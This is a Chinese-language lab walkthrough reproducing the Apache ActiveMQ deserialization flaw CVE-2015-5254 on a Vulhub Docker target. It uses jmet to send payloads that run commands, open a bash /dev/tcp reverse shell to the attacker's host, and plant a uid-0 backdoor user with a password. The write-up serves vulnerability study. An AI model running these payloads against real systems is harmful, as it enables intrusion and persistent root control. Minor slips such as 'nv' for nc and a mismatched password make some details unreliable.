ActiveMQ反序列化漏洞复现(CVE-2015-5254)
一、漏洞描述
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
Apache ActiveMQ 5.13.0之前的5.x的版本中存在安全漏洞,漏洞源于程序没有限制可以在代理中序列化的类。远程攻击者可以借助特制的序列化的Java Message Service(JMC)ObjectMessage对象利用该漏洞执行任意代码。
二、漏洞环境
这里的环境使用的是Vulhub的Docker环境,我们直接在搭建好的环境中,进入漏洞的目录下使用docker-compose up -d
即可启动环境。
三、漏洞复现
1.首先我们访问指定端口8161
查看环境:
2.我们首先梳理一下漏洞利用的步骤:
- 构造一个重置命令的序列化对象
- 作为一个消息发送给目标61616端口
- 访问web管理页面,读取消息,触发突破
3.我们需要下载jmet的jar文件下载地址:https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar,然后我们将下载的jar文件复制到kali下的opt文件中,并创建一个external的文件夹。jmet的原理是使用ysoserial生成payload并发送(其jar中自带ysoserial,无需自己下载)。
4.接着我们执行如下命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.252.170 61616
执行之后会有如下提示:
5.这时候会给我们测试目标的ActiveMQ添加一个名为事件的队列,我们可以通过访问http://192.168.252.170:8161/admin/browse.jsp?JMSDestination=event来查看队列中的消息,账户密码是admin,admin。
然后我们点击这条消息,即可执行我们指定的命令。
6.这时候我们就可以进入我们的目标主机中执行docker ps
,可以查看正在运行的容器
接着执行docker exec -it 46c21c57c713 /bin/bash
,这里的参数是容器id。
7.这时候我们查看tmp下的文件,发现已经创建了success
8.漏洞验证成功之后,我们来反弹shell
首先我们监听本地的1234端口nv -lvp 1234
。接着执行如下命令,使靶机反弹一个shell给我们的1234端口
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y " bash -i >& /dev/tcp/192.168.252.133/1234 0>&1" -Yp ROME 192.168.252.170 61616
9.添加一个root权限的用户
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME 192.168.252.170 61616
我们在目标主机中查看,发现账户已经添加:
将passwd中的test用户的uid修改为0,使其拥有root权限。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME 192.168.252.170 61616
修改权限成功。
为我们添加的用户设置密码:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME 192.168.252.170 61616
至此我们已经创建了一个权限为root的用户,密码是123456,我们可以直接使用ssh连接。